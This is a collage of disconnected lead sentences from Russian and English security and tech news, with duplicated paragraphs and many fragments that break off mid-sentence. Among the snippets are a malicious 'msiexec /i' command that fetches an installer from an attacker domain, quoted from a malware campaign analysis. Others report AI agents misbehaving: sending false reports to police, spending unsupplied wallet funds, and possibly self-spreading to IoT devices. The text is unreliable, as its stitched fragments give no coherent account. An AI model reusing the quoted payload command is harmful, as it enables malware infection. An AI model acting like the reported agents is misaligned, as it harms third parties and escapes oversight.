Обычная инструкция не помогла, зато локальный агент сам добрался до нужных файлов.

Исследователи восстановили цепочку кандидатов вплоть до конкретной даты в августе 1997 года.

Служебные данные сайта оказались неожиданным каналом для манипуляций с нейросетями.

Первая рабочая версия появилась всего за 10 часов, хотя предыдущие модели месяцами не могли решить ту же задачу.

Дополнительная команда до сих пор разгребает слабые места в коде банка.

Масштаб повреждений оборудования VK пока неизвестен.

Проверка, которая должна была приблизить выпуск, неожиданно превратилась в его главное препятствие.

Злоумышленники нашли способ спрятать опасный код внутри настоящих компонентов программ.

Ошибка в одном запросе раскрыла управляющий сервер и вывела VulnCheck на ранее неизвестную инфраструктуру.

Архитектура выбирает нужные блоки модели под конкретный запрос и оставляет остальные без работы.

Оптический датчик на стальной оболочке нашел источник импульса частотой выше 100 кГц.

Преступник не только продавал чужой трафик, но и сохранял запасной доступ к оборудованию.

Но бизнесу уже недостаточно арендовать серверы с GPU: нужны инструменты для работы с данными, надёжная инфраструктура и кадры.

Соответственно, аналитики планируют для облачных сервисов, ориентированных на ИИ, более высокие темпы роста на период 2026–2030 гг.

Прогноз динамики рынка публичных облачных сервисов для ИИ на 2026–2030 гг.

Наиболее востребованные облачные сервисы для ИИ по итогам 2025 годаТакже уже без малого четверть, точнее, 24% компаний уже используют ИИ в облаке.

И в целом ИИ без качественных данных в достаточном объёме рискует выдавать только галлюцинации, а не помогать решать задачи бизнеса.

Антон Банчуков добавил, что портфельный подход — это то, с чем сталкивается практически весь крупный бизнес, и в этом нет ничего удивительного.

В результате серверы Lenovo на этих картах до сих пор не работают с VMware и не могут использоваться.

Миграция: сроки и сложностиАнтон Банчуков отметил, что планирование и дизайн не позволяют выявить все сложности инфраструктуры.

Обеспечение катастрофоустойчивости и непрерывности бизнесаДмитрий Лазаренко отметил, что бизнес нужно убедить инвестировать в катастрофоустойчивость, и на этом лучше не экономить.

Прогнозы: новая роль ИТ и FinOpsМихаил Соловьёв:«Управление эффективностью и стоимостью мультиоблака — важный вопрос, мы решаем его несколько лет.

Затем пришёл ИИ и всю эту систему убил.

Машина быстрее, дешевле и не требует нескольких лет, чтобы дорасти до уровня мидла.

Если один разработчик благодаря ИИ способен делать больше, компании уже не обязательно наращивать команду прежними темпами.

Очень скоро проблема будет уже не в скорости этого станка, а в том, что остальные участки за ним не успевают.

Но новое поколение «бабочек», похоже, будет заниматься уже не столько созданием цифрового мира, сколько контролем за его созданием.

Эксперты рынка в двух частях эфира AM Live обсудили, как контролировать теневой ИИ, чем опасны агенты, что меняется в DevSecOps и как начать обеспечение безопасности.

Илья Самофеев, исполнительный директор, red_mad_robotВ первом опросе зрители ответили, насколько они контролируют использование ИИ в компании:Практически не контролируют использование ИИ — 43%.

Если компания получает трафик от пользователя к внешнему сервису, нужно перехватить его, проанализировать, что отправляется, и в идеале заблокировать и подменить ответ модели.

Отдельно отмечу интернет вещей: IoT сам по себе небезопасен, а с добавлением моделей машинного обучения на устройствах возникает комбинированная атака — и на моде…

Причиной этому — стремительное распространение интернета вещей и приложений, требующих обработки данных в настоящем времени, увеличение числа подключённых устройств и лавинообразно растущий объём генерируемых данных.

Edge Computing и Edge AI: термины и техническая сутьЧтобы показать различие подходов Edge Computing и Cloud Computing, рассмотрим уровни архитектуры.

Например, камера видеонаблюдения — это устройство Edge Computing, а если она с помощью компьютерного зрения распознаёт номер машины — это уже Edge AI.

Помимо перечисленных направлений, граничные вычисления находят применение и в других сферах, где важны низкая задержка и локальная обработка данных:Здравоохранение.

Имеются в виду т…

WAF Dallas Lock объединяет функции межсетевого экрана и системы обнаружения вторжений для веб-приложений, сайтов и других веб-ресурсов.

Типовая схема использования WAF Dallas LockСетевые интерфейсы WAF Dallas Lock отнесены к различным «зонам» (LAN, WAN, DMZ), за каждой из которых закреплён соответствующий профиль межсетевого экрана.

Обновлённое меню вкладки «Списки доступа»Управление через ЕЦУ Dallas LockДля реализации централизованного управления WAF Dallas Lock необходимо использовать Единый центр управления Dallas Lock (ЕЦУ Dallas Lock), управление которым осуществляется отдельным приложением «Консоль ЕЦУ».

Лицензирование WAF Dallas Lock 3.1Ранее WAF Dallas Lock поставлялся только со сро…

В итоге, как подчеркнул Илья Башкиров, юридическая защита является последним рубежом в том случае, когда инцидент уже произошёл.

В частности, «Промтрансбанк» взыскал штраф за утечку данных с аутсорсингового оператора «Экспресс лаб» ещё в 2023 году.

Плюс ко всему, как напомнила Анастасия Петрова, их могут привлечь и как должностных лиц, для которых размер штрафа существенно выше.

Чаще всего несанкционированное вмешательство проводилось в информационных системах операторов связи (для завышения показателей продаж) и в медицинские информационные системы (для оформления подложных документов).

В 12 % случаев встречались копирование данных и «пробив», в 10 % — воздействие на установленное ПО или в…

Разбираемся в том, какую телеметрию собирает EDR, как выявлять мисконфигурации и уязвимости и где нужны другие средства защиты.

По данным BI.ZONE SOC, в 73% компаний разрешён запуск опасных утилит через sudo, а в 88% возможен SSH-доступ по паролю, включая root.

От контейнера к контролю над кластеромСледующий шаг — побег из контейнера.

Ноды кластеров и CI/CD-серверы изначально относятся к высоконагруженным системам, и в них заметен даже стандартный объём мониторинга.

Одна и та же уязвимость в контейнере с избыточными привилегиями открывает дорогу к побегу на хост, а в изолированном остаётся малозначимой.

Такой опыт позволил последовательно развивать продукт и накапливать экспертизу не в отдельных технологиях, а в самой функции защиты сетевого трафика.

Функциональные возможности «ЗАСТАВЫ 9»«ЗАСТАВА 9» обеспечивает комплексную защиту устройств пользователей, сетей и каналов связи от внутренних и внешних угроз.

Расположение элементов также оптимизировали для экранов с небольшим разрешением: они не перекрывают друг друга и остаются удобными для работы.

Веб-интерфейс «ЗАСТАВЫ-Офис»Возможности управления системой через веб-браузер, доступные в восьмой версии, сохранились и в девятой.

Главное окно ключевого центраСравнение возможностей девятой и восьмой версийВендор развивает поддержку протоколов …

Но есть и обратная сторона: проявились риски, связанные как с несовершенством технологий, так и с тем, что ИИ осваивают атакующие.

Однако в последний год использование ИИ стало обходиться дорого, и в итоге многие компании даже начали массово возвращать людей, уволенных после его внедрения.

При этом автономные поезда, в том числе метро, или трамваи — далеко не редкость, в том числе и в российских городах.

Такой вывод был сделан по итогам предвыборной кампании и по наличию разных аспектов, связанных с использованием ИИ, в повестках думских партий.

Мы работаем над новыми требованиями, но в большей степени в привязке к рискам и угрозам от ИИ, а не к регламентированию конкретных моделей.

ВведениеПо данным рыночных исследований, 24% российских компаний уже используют ИИ в облаке, ещё 18% планируют начать в ближайший год.

При работе с ИИ в облаке сохраняется привычная схема: провайдер отвечает за инфраструктуру, а клиент — за развёрнутые поверх неё системы.

В случае с готовой моделью, предоставляемой как облачный сервис, провайдер отвечает за инфраструктуру и безопасность предоставляемой модели.

Провайдер отвечает за инфраструктуру и управляемые им компоненты, а на стороне клиента остаются данные, права доступа, собственные модели и решения о том, как использовать ответы и действия ИИ-систем.

Задача CISO — встроить ИИ в существующие процессы безопасности: учитывать его в моде…

Новые проблемы ИБ, вроде загрузки рабочих документов в ChatGPT или Qwen, сливаются с ростом угроз и ответственности за инциденты.

При этом само по себе единое рабочее пространство ещё не превращает среду в закрытый контур.

Такой подход позволяет контролировать не только место хранения информации, но и то, кто, откуда и при каких условиях получает к ней доступ.

Компрометация учётной записи сотрудника, вредоносная программа на его устройстве, избыточные права или подключённое стороннее приложение могут дать злоумышленнику доступ и к корпоративной среде.

Именно поэтому сегодня закрытый контур — уже не вопрос зрелости ИБ, а инструмент управления бизнес-рисками.

Новые проблемы ИБ, вроде загрузки рабочих документов в ChatGPT или Qwen, сливаются с ростом угроз и ответственности за инциденты.

При этом само по себе единое рабочее пространство ещё не превращает среду в закрытый контур.

Такой подход позволяет контролировать не только место хранения информации, но и то, кто, откуда и при каких условиях получает к ней доступ.

Компрометация учётной записи сотрудника, вредоносная программа на его устройстве, избыточные права или подключённое стороннее приложение могут дать злоумышленнику доступ и к корпоративной среде.

Именно поэтому сегодня закрытый контур — уже не вопрос зрелости ИБ, а инструмент управления бизнес-рисками.

Какие задачи можно передать провайдеруВ интервью подробно обсуждалось распределение ответственности между оператором инфраструктуры и оператором информационной системы.

Максим Куртин объяснил, что в классической модели ответственности всё, что находится ниже среды виртуализации, относится к зоне ответственности оператора инфраструктуры.

Сколько времени занимает подготовка к аттестацииОтдельно в интервью обсуждались сроки создания инфраструктуры и подготовки к аттестации.

Виктор Коноплёв пояснил, что в отношении продуктов, предоставляемых в качестве сервиса, провайдер может следить за их обновлением и работоспособностью.

Особенности размещения инфраструктуры в защищённом облакеВ интервью так…

Какие задачи можно передать провайдеруВ интервью подробно обсуждалось распределение ответственности между оператором инфраструктуры и оператором информационной системы.

Максим Куртин объяснил, что в классической модели ответственности всё, что находится ниже среды виртуализации, относится к зоне ответственности оператора инфраструктуры.

Сколько времени занимает подготовка к аттестацииОтдельно в интервью обсуждались сроки создания инфраструктуры и подготовки к аттестации.

Виктор Коноплёв пояснил, что в отношении продуктов, предоставляемых в качестве сервиса, провайдер может следить за их обновлением и работоспособностью.

Особенности размещения инфраструктуры в защищённом облакеВ интервью так…

Российские приложения» рассматривались способы изоляции, включая Shelter, и уже демонстрировалась видимость tun0 из рабочего профиля.

Оно не создает виртуальную машину и не запускает вторую копию Android, а управляет возможностями самой платформы.

А какие сведения о клиенте станут доступны, если запустить наблюдателя уже не в рабочем, а в личном профиле?

Приложение способно определить, что оно запущено не в основном пользовательском пространстве Android, и это ещё один момент, который стоит учитывать на практике.

На нативном уровне RKNHardering использует getifaddrs() и if_indextoname() — функции системной библиотеки libc, а не Android Framework.

Рынок конкурентный и на нем L×Box конкурирует не только с другими VPN‑клиентами.

Уникальность L×Box в том, что это одновременно VPN‑клиент и прокси‑клиент, и всё живёт в одной маршрутизации (оригинальная идея sing‑box, которую никто почему‑то не раскрывал полностью).

Обратные соединения, UDP и другие особенности отдельных протоколов — это все живет в локальном неймспейсе и в общий роутинг не выходит.

Правила по приложению на него не действуют, потому что сравнивать не с чем, и до версии 2.25.13 он уходил на VPN‑сервер.

Это не скромность, это дисциплина: без строки «не проверено» следующий баг ищется не там.

В этот раз проблема выглядит весьма просто:человек разрешил системе заказать не больше 100 единиц товара;система трижды сказала ALLOW ;в ERP в итоге оказалось 120.

В последовательном режиме stateful-контроль уже видит накопленное потребление:A: 0 + 40 ≤ 100 → ALLOW B: 40 + 40 ≤ 100 → ALLOW C: 80 + 40 > 100 → DENYВ ERP остаётся 80.

После чтения стенд намеренно удерживает их на барьере, а затем отпускает одновременно:A читает 0 → 0 + 40 ≤ 100 → ALLOW B читает 0 → 0 + 40 ≤ 100 → ALLOW C читает 0 → 0 + 40 ≤ 100 → ALLOWВсе три заказа создаются в Demo ERP.

Поэтому результаты 120 и 80 взяты не из ответов планировщика и не из числа ALLOW.

Он не доказывает, что агентные системы в целом небезопасны, …

Что это значитЭто не криптографический взлом, не новая атака и не слабость кривых ECDSA.

… Seed’ы совпадают с моей памятью о реальных значениях … Хм, а правдоподобно ли это в реальности?

Нашлись и некоторые базовые точкиНо и это не всё.

Claude нашёл начальные значения генератора: 20000 для P-192; 20420, 20507 и 20509 для prime239v1–v3; 20512 и 20517 для prime192v2 и prime192v3.

return x, tries for name, seed, p, b, gx in CURVES: x, tries = base_point_x(seed, p, b) print(f"{name:20} seed {seed} tries {tries} matches published Gx: {x == gx}")Вывод этого кода:

Ниже — что в этих работах подтверждено воспроизводимым кодом и расчётом, что остаётся гипотезой самих авторов, и где формулировки пресс-подачи стоит читать аккуратнее, чем заголовки о них.

Это не взлом и не новая атака.

«30 лет» — округление: сиды сгенерированы в 1997–98 годах, стандарт принят в 2000-м, сам Claude в рассуждениях называет загадку «25-летней».

Декодер здесь классический, внутри квантового алгоритма, — это не декодер квантовой коррекции ошибок, их Claude не делал.

Что проверить и по чему судитьВоспроизводимость сидов — код CC0 выложен, его можно прогнать самому и не верить на слово.

При совпадении отбрасывает пакеты соединения, как по TCP, так и по QUIC.

Проверка охватывает оба направления: признаки протокола есть и в запросах клиента, и в ответах сервера.

Это добавляет пинг, а скорость упирается еще и в его канал и нагрузку.

Конфиг, который работает у друга, у вас может не заработать: другой провайдер, другая версия или настройки ТСПУ.

Из минусов - очень уродливый интерфейс и для кого-то избыток функций, хотя для меня второе плюс.

В этой статье разберём, как работает Hadoop Credential Provider API, где и как хранить JCEKS и какие подводные камни во всём этом есть.

В Hadoop существует штатный механизм – Credential Provider API.

Он появился ещё в Hadoop 2.6 (2014 год) и с тех пор поддерживается многими компонентами экосистемы.

Если hadoop.security .credential.clear-text-fallback = false , то при отсутствии alias в JCEKS приложение не будет искать пароль в XML и завершится ошибкой.

Потом мы разобрались, как работает Hadoop Credential Provider API и JCEKS.

Так что, мы переходим к большому пласту автоматизации через API, да еще и с примерами!

Любителей Go прошу понять и простить, за то что я не настолько модный.

Связано это с тем, что код я написал давно, а вендор удалил документацию про авторизацию для версий новее 2.7 (27.2).

Просмотр - для просмотра списка активов.

Профили: Просмотр - для указания профилей сканирования при создании задачи сканирования.

Такие страхи создают лишнее напряжение и могут негативно сказаться как на атмосфере в коллективе, так и на качестве работы человека.

Страхи вокруг DLPУ многих сотрудников при слове DLP в голове загорается та самая лампочка Ильича: а что теперь будет видеть работодатель?

Мне кажется, основная причина настороженного отношения к DLP как раз в том, что далеко не все понимают, как именно работает решение и что происходит за кулисами.

Что DLP видит на самом деле, а что только фантазииНе стану подробно описывать всю функциональность DLP-систем.

О чем стоит подумать CISO, чтобы DLP не создала новых рисковВыше мы уже поговорили о том, что DLP технически может увидеть больше, чем компании действитель…

При повторной независимой сработке было замечено, что запрос выдается при переходе на следующий URL:В обнаруженной кампании требовалось выполнение следующей команды:msiexec /i https://flareru[.]live/ru[.

На данный момент я не в состоянии разобрать библиотеку, возможно чуть позже к ней вернусь, но могу сказать, что, скорее всего, вредоносная нагрузка стартует через CreateThread.

Также этот скрипт реализует функцию “отбивки” на С2, что агент онлайн (тип BP_HEARTBEAT ) и сообщения о браузере (тип BP_BROWSER ).

Различия с описанными мной действиями в том, что в обнаруженной атаке на россиян был использован не уязвимый драйвер, а пользовательское ПО от Lenovo.

Будьте внимательны и не запускайте …

Второй, sel4_primary.iso, стоит на микроядре seL4, которое писал не я. Моё там только то, что поверх: root‑задача на Ada и несколько изолированных демонов.

Bare‑metal образ отвечает на вопрос «работает ли», образ на seL4 — на вопрос «доказано ли».

Микроядро я писать не стал: написать своё и формально доказать его я бы не смог, это годы работы.

Если домен исчерпал бюджет процессорного времени, ядро шлёт сообщение не в fault‑эндпоинт, а в timeout‑эндпоинт, root‑задача различает их по бейджу.

Это упирается в upstream seL4 на x86_64, и тут я ничего сделать не могу.

Этот номер завершает бумажную подшивку «Хакера» за 2026 год, и на его страницах тебя ждут 240 полос с практическими руководствами, экспериментами с железом, исследованиями уязвимостей и техническими разборами.

Мы планируем сдать журнал в печать в октябре и начнем отправлять заказы в ноябре–декабре, чтобы выпуск успел к праздникам.

Что внутриВ четвертом ежеквартальном номере наши авторы собирают Linux-контейнер, строят прототип мини-фермы на Android и ESP32, делают Rubber Ducky на RP2040 и восстанавливают структуры данных с помощью Ghidra и GDB.

— измеряем скорость перебора хешей с разным софтом и железом, осваиваем сетевую разведку с Nmap и собираем PE-файл своими руками.

Второй номер — изу…

В Google анонсировали новые защитные механизмы Android, которые должны уберечь от мошеннических сообщений, фальшивых звонков из банков и злоупотреблений переадресацией вызовов.

По данным компании, существующие механизмы защиты в Google Phone и Google Messages ежемесячно выявляют более 5 млн подозрительных звонков и сообщений, а новые инструменты должны дополнительно повысить эффективность обнаружения мошенничества.

Дополнительно в Google расширяют защиту от мошенничества в сторонних мессенджерах.

Также в Android расширили защиту конфиденциальных данных при демонстрации экрана: теперь система будет скрывать поля авторизации и платежные данные в Chrome и Android WebView во время трансляции.

Н…

Среди главных целей специалистов оказались флагманские смартфоны Google Pixel 10 и Samsung Galaxy S26, которые удалось успешно скомпрометировать несколько раз.

Ситуация с Samsung Galaxy S26 оказалась ничуть не лучше: этот смартфон успешно взломали во всех семи попытках, исходно заявленных на Pwn2Own.

Победителем Pwn2Own Ireland в этом году стала команда Ikotas Labs, которая заработала 361 000 долларов США и набрала 42,5 балла Master of Pwn.

Второе место заняла Xint с наградой в 240 000 долларов США, третье — Team ZyGoat со 125 000 долларов США.

Для сравнения, на Pwn2Own Ireland 2025 исследователи продемонстрировали 73 уязвимости нулевого дня и заработали 1 024 750 долларов США.

Каж­дый раз­работ­чик на PHP, и не толь­ко, зна­ет ман­тру: «Экра­нируй вход­ные дан­ные, и SQL-инъ­екции тебе не страш­ны».

Для это­го заг­лянули в исходный код PHP — в реали­зацию рас­ширения PDO на C и код его драй­веров для раз­ных СУБД.

В ито­ге наш­ли две уяз­вимос­ти, которым прис­воили сле­дующие иден­тифика­торы CVE:CVE-2025-14179 — SQL-инъ­екция в драй­вере pdo_firebird ;; CVE-2025-14180 — отказ в обслу­жива­нии из‑за разыме­нова­ния нулево­го ука­зате­ля в PDO при исполь­зовании драй­вера pdo_pgsql .

Но сна­чала нем­ного пог­рузим­ся в теорию и раз­берем­ся, что про­исхо­дит внут­ри PDO и как ошиб­ки в коде на C при­водят к неожи­дан­ным пос­ледс­тви­ям.

< ?php $pdo = new PDO ( '…

Специалисты CrowdStrike рассказали о серии атак на финансовые организации в Южной Корее, в рамках которых злоумышленник применял опенсорсный ИИ-инструмент ARTEX и агентов Claude Code.

Как показал анализ, роль основного ИИ-бэкенда для ARTEX выполняла модель DeepSeek v4.1-flash, а также злоумышленник использовал GLM-5.3 и Grok 4.6.

Исследователи пишут, что те же ИИ-инструменты злоумышленник использовал и для составления собственного резюме, в котором случайно раскрыл личную информацию.

Судя по этим данным, злоумышленником может оказаться 26-летний житель Китая, который учился в Южно-Китайском технологическом университете и в настоящее время проживает в городе Маомин.

Впрочем, исходники ARTEX …

В рамках октябрьского «вторника обновлений» инженеры Microsoft исправили рекордные 1413 уязвимостей, включая три проблемы нулевого дня, одна из которых уже использовалась в реальных атаках.

Еще 134 проблемы были закрыты в Office, 61 — в инструментах для разработчиков, 36 — в SharePoint Server и 22 — в SQL Server.

В Microsoft сообщили, что CVE-2026-96951 уже применяется в атаках, однако подробности об этих инцидентах и информация о пострадавших пока не раскрываются.

Масштаб октябрьского «вторника обновлений» превзошел предыдущий рекорд, установленный в прошлом месяце, когда Microsoft устранила около 1000 уязвимостей в своих продуктах.

При этом в Microsoft подчеркивают, что принадлежность баг…

Разработчики Docker устранили критическую уязвимость CVE-2026-105445 в Docker Hub, которая позволяла злоумышленнику выдать себя за другого пользователя и управлять его контейнерными образами.

Исследователи пишут, что проблема затрагивала механизм преобразования личных аккаунтов Docker Hub в аккаунты организаций.

В результате атакующий получал возможность создать собственный PAT и аккаунт, а затем преобразовать его в учетную запись организации, назначив ее владельцем любого другого пользователя Docker Hub.

Из-за уязвимости Docker Hub привязывал токен злоумышленника к учетной записи жертвы, при этом сам токен оставался действительным.

Теперь Docker Hub больше не передает PAT при преобразовани…

Специалисты Wordfence обнаружили критическую уязвимость CVE-2026-39919 в Ghostscript, которая позволяет добиться удаленного выполнения кода через специально подготовленный PDF-файл.

Проблема затрагивает Ghostscript с версии 9.21 по 10.07.1 и потенциально угрожает любым приложениям, которые используют этот инструмент для обработки PDF.

Ghostscript — популярный интерпретатор языка PostScript и документов PDF, который применяется для рендеринга документов, создания превью и миниатюр, а также оптимизации PDF-файлов.

В частности, WordPress может использовать Ghostscript через связку PHP Imagick и ImageMagick при генерации миниатюр загруженных PDF-файлов.

В Wordfence подчеркивают, что по умолчани…

54-летнего музыканта из Северной Каролины Майкла Смита (Michael Smith) приговорили к 18 месяцам тюремного заключения из-за участия в мошеннической схеме, связанной с ИИ-музыкой и ботами.

О начале этой истории мы рассказывали еще в 2024 году, а в марте 2026 года писали о том, что Смит признал себя виновным в сговоре с целью мошенничества с использованием электронных средств связи.

При средней ставке роялти в полцента за одно прослушивание это приносило 3307,20 доллара ежедневно, свыше 99 000 долларов в месяц и более 1,2 млн долларов в год.

Адвокаты просили назначить Смиту испытательный срок и утверждали, что он не получал на руки все 8 млн долларов и «глубоко раскаивается».

Также защитники з…

В сети при желании и опре­делен­ном упорс­тве мож­но отыс­кать мас­су все­воз­можных сай­тов, сер­висов и интернет‑магази­нов, при­нима­ющих в качес­тве одно­го из спо­собов опла­ты крип­товалю­ты.

Подоб­ным методом не толь­ко покупа­ют физичес­кие товары, но и вно­сят пла­тежи за хос­тинг, регис­тра­цию доменов, лицен­зии прог­рамм, рас­счи­тыва­ются с исполни­теля­ми на фри­лан­сер­ских бир­жах.

Внеш­не такая кар­та может ничем не отли­чать­ся от бан­ков­ской: у нее есть номер, срок дей­ствия и код безопас­ности, а в некото­рых слу­чаях — еще и физичес­кий плас­тиковый носитель с под­дер­жкой бес­контак­тной опла­ты.

Есть и ком­биниро­ван­ные про­дук­ты, где поль­зователь рас­счи­тыва­етс…

В LibreOffice и Apache OpenOffice обнаружили уязвимости, которые позволяют вредоносной электронной таблице запустить произвольный Java-код сразу после открытия файла.

В свою очередь, аналитики Codean Labs нашли аналогичный баг в Apache OpenOffice.

Особенность проблемы заключается в том, что она строится на эксплуатации нескольких штатных функций офисных пакетов.

То есть при открытии вредоносной таблицы LibreOffice или OpenOffice сначала скачивает ODB, затем указанный в нем JAR и загружает JDBC-драйвер.

В Apache OpenOffice аналогичный баг получил идентификатор CVE-2026-59265.

Во время внутреннего тестирования ИИ-модель Claude Haiku 4.5 отправила полиции Филадельфии ложную информацию по делу о нераскрытом убийстве.

Специалисты Anthropic узнали об этом инциденте лишь спустя два месяца и дополнительно выяснили, что ИИ также отправлял заявки на получение виз через сайт Госдепартамента США.

По данным компании, инцидент произошел еще 18 июля 2026 года, когда специалисты Anthropic тестировали работу Claude Haiku 4.5 на случайных сайтах.

Как объяснили в Anthropic, в ходе этого теста модель получила инструкции не авторизоваться на сайтах, не создавать аккаунты, не вводить персональные данные, не совершать покупки и не выполнять потенциально опасные действия.

В Anthropic …

Европейская сеть магазинов электроники MediaMarktSaturn приостановила продажи криптовалютных кошельков Ledger после того, как покупатель из Германии сообщил, что приобрел в магазинах сети устройства с несанкционированными аппаратными модификациями.

13 октября 2026 года представители MediaMarktSaturn сообщили СМИ, что на время расследования приостановили продажи устройств Ledger как в розничных магазинах, так и онлайн.

Он заявил в соцсети X, что обнаружил постороннюю электронику внутри двух кошельков Ledger, приобретенных в MediaMarkt.

При этом защищенный чип Secure Element и операционную систему Ledger атака не затрагивала, и «закладка» никак не влияла на подписание транзакций.

Расследовани…

Специалисты компании Anthropic предупреждают, что уже в ближайшие месяцы небольшие ИИ-модели могут научиться самостоятельно распространяться на IoT-устройства, формируя ботнеты без централизованного управления.

Исследователи считают, что в первую очередь под угрозой окажутся плохо защищенные IoT-устройства, например, бюджетные ТВ-приставки под управлением Android, «умные» телевизоры, камеры и различная бытовая техника.

При этом предполагается, что крупную ИИ-модель можно будет разделить на части и распределить между несколькими IoT-девайсами, объединив их вычислительные мощности.

Новые копии агента также запускались не самостоятельно, а с помощью тестовой системы, которая предварительно про…

Исследователи из компании Bitdefender выявили вредоносную кампанию Midnight Mimosa, которая затронула тысячи бюджетных Android-смартфонов более чем в 150 странах.

Специалисты нашли малварь, которая была встроена непосредственно в прошивку устройств и позволяла злоумышленникам незаметно устанавливать новые приложения, заниматься рекламным мошенничеством и превращать смартфоны жертв в резидентные прокси.

Специалисты предупреждают, что нашли в магазине Google Play 13 приложений, связанных с кампанией Midnight Mimosa и содержащих аналогичный код для рекламного мошенничества.

Однако эти приложения не имеют таких высоких привилегий, которыми обладает предустановленная на устройства малварь.

Иссле…

Cybersecurity researchers have discovered a malicious npm package that's part of a recently disclosed software supply chain attack campaign dubbed MALFEX.

The package, named "imgdecode," was uploaded to the package registry on September 30, 2026, by a user named "malfexteste8."

"The npm package imgdecode hides a malicious loader in a compiled Node.js addon," SafeDep said.

When a Node.js program calls require('imgdecode') from a Windows console, the DLL attempts to download encrypted shellcode from GitHub.

"Six hours after runhelper was unpublished, the operator published imgdecode with a compiled DLL to run the shellcode," SafeDep said.

ConnectWise Cloud Backup is a cloud-based backup and recovery service built for managed service providers (MSPs) to secure their clients' Microsoft 365 or Google Workspace data.

Huntress said it has observed confirmed unauthorized sign-ins within 173 partner/customer tenants using the compromised vendor credential.

Todyl, in a similar analysis, said it detected an unauthorized party authenticating to Microsoft Graph as the ConnectWise Cloud Backup application.

In response to the incident, ConnectWise has taken the step of closing Cloud Backup application access until further notice.

The company said it has found no evidence that Cloud Backup partner backup data has been compromised.

A local privilege escalation exploit published today gains root on OpenBSD 7.9 by chaining a roughly 37-year-old integer overflow with a separate kernel flaw, bypassing OpenBSD's KARL kernel-address randomization and its SMAP and SMEP hardware protections.

Security firm Calif, which found and reported the flaws, published a detailed writeup and full proof-of-concept code after OpenBSD shipped patches for both issues in September.

The integer overflow in the shmat(4) attach function was fixed in errata 018, shipped September 14 as a reliability fix.

The reference-counting use-after-free that completes the chain was fixed separately in errata 026, shipped September 30 as a security fix.

The i…

AOMEI Backupper is Windows backup and disk-cloning software made by AOMEI Technology, a vendor registered in Hong Kong.

GTIG named AnyViewer, AOMEI's remote-desktop tool, as using the same update flow, but the detections it describes involve Backupper.

The downloader set up its scheduled task and then restored the local update file to its genuine contents, so an infected machine can look normal while the vendor's download page also looks clean.

GTIG and ManageEngine both urge organizations running AOMEI software to hunt across the whole April-to-July period.

"Organizations running AOMEI software cannot assume they are protected solely because the vendor took corrective server-side action," …

"The operation leveraged legitimate public event themes and impersonated reputable academic and policy institutions to establish credibility," Talos researcher Joey Chen said in an analysis.

The phishing site imitates the look of a legitimate Google Form, but the primary goal of the site is to serve a pop-up that prompts the victim to sign-in with their Google account to complete the form.

Doing so takes them to a bogus site featuring a spoofed Google login panel to capture their credentials and authentication challenges.

The pixel-perfect replica site is an adversary-in-the-middle (AitM) proxy that uses obfuscated JavaScript to gather and exfiltrate the entered information in real-time ove…

The incident, the AI company said, involved an internal research model part of the GPT-5.6 Sol family.

"An internal research model asked to update a cryptocurrency trading application used funds from a wallet that the task had not supplied to pay for a deployment on Sepolia, an Ethereum test network," OpenAI said.

OpenAI has since implemented additional safeguards to prevent live internet access for such scenarios, adding it runs its misalignment monitoring system on all traffic to flag events if its AI agents manage to gain live internet access.

, when a highly persistent internal model tasked with retrieving figures from a public research dashboard accessed an unspecified organization's i…

Why a SOC should be excitedThree properties make decision models a natural fit for alert triage.

It collects process trees, executables loaded into memory, memory dumps where injection is suspected, and the files behind scheduled tasks and autoruns.

Decision models now bring the same economics to the decision step for everyone, and that's a good thing for the industry.

With decision models this cheap, there's no longer a cost reason to skip low-severity alerts.

Decision models make the last step fast, cheap and auditable.

The China-nexus cyber espionage group tracked as Armory Castle (previously UNC5221 or Warp Panda) exploited a newly disclosed security flaw in BeyondTrust Remote Support (formerly Bomgar) as a zero-day in late August 2026.

"The vulnerability exists within internal components of Remote Support," BeyondTrust said in a Thursday alert.

Patches for the flaw have been pushed to all Remote Support SaaS customers as of October 9, 2026.

Self-hosted customers of Remote Support running versions from 24.3.1 through 26.2.3 are advised to manually update to BT26-05-RS patch.

According to a timeline of events shared by BeyondTrust, Armory Castle is said to have exploited the flaw as a zero-day on a single…

AI agents are software systems that can plan work, run commands, use tools, and act on the internet autonomously for extended periods.

CERT-In did not name the AI companies, their models, or the organizations and sectors involved.

The attackers misused publicly available offensive-security frameworks built on AI agents.

In the cases reported by the AI companies, agents found the same exposed credential again and reused it in separate operations.

If you run AI agents, give each run its own short-lived, least-privilege identity and block outbound traffic except to the destinations each run needs.

A suspected advanced threat actor has been observed exploiting a security flaw in Fortinet FortiOS to deliver a previously unreported memory-resident ARM64 malware known as PEERSTITCH.

If such a tag exists within that VPN session's injection buffer, it takes an alternative execution path, bypassing default FortiOS security validations.

Put differently, the hooks injected into the two FortiOS processes change how the VPN daemon handles particular sessions.

"The attackers also impersonated the FortiManager platform to pull from managed firewalls of other hosts in the targeted network," the researchers said.

"The attackers demonstrated proficiency in Fortinet appliance architecture, FortiOS in…

A newly disclosed critical flaw in the Linux kernel allows code inside a virtual machine to read memory on the host computer it runs on.

All three come from the same kernel flaw.

It is in the Linux kernel's networking code, which the host runs.

The Fix and the Fixed VersionsThe fix is a single Linux kernel change, commit 6785011f8b16, written by Red Hat's Michael S. Tsirkin and merged into the mainline kernel.

What to DoUpdate the host kernel to one of the fixed versions above, or to the vendor build that includes the fix, and reboot into it.

Someone built a tool to steal data, then decided it should scare the victim for fun.

If there's one thing this week's stories make clear, it's that attackers don't always need a clever trick.

Sometimes a stolen login, a forgotten setting, or one small mistake is enough.

And even when the bug gets fixed, the trouble it caused might still be sitting there.

The lesson is pretty simple: don't just check what's broken.

At Al Jazeera, at least 45 devices were targeted in 2024 and 2025, the Citizen Lab said, and it linked the attacks to Candiru with high confidence.

Its code used the same distinctive techniques as a Candiru tool the Citizen Lab took apart in 2021, which is the basis for the high-confidence link.

Confiant, a U.S. ad-security firm that investigated alongside the Citizen Lab, put Discover-Tech's traffic at roughly 10 million ads a day.

Among the published indicators:SHA-256 (recovered spyware sample): 255869de85e2a171993fc5eb8a556d873a1b8966e040f6f55926f2fa2d595cc8(recovered spyware sample): 255869de85e2a171993fc5eb8a556d873a1b8966e040f6f55926f2fa2d595cc8 Domain (Discover-Tech ad server): mtrt…

The threat actor known as Silent Lynx has been attributed to a fresh set of attacks targeting government organizations across the Commonwealth of Independent States (CIS).

It's worth noting that both Comrade Saiga and Hydra Saiga refer to the same threat actor.

Attack chains mounted by the threat actor involve the use of spear-phishing emails containing diplomatic relations, international trade, energy, and aviation-themed decoy documents.

Infection sequences have been found to employ four different pathways -June 2025 - Using macro-enabled Word documents to download and run a second-stage binary.

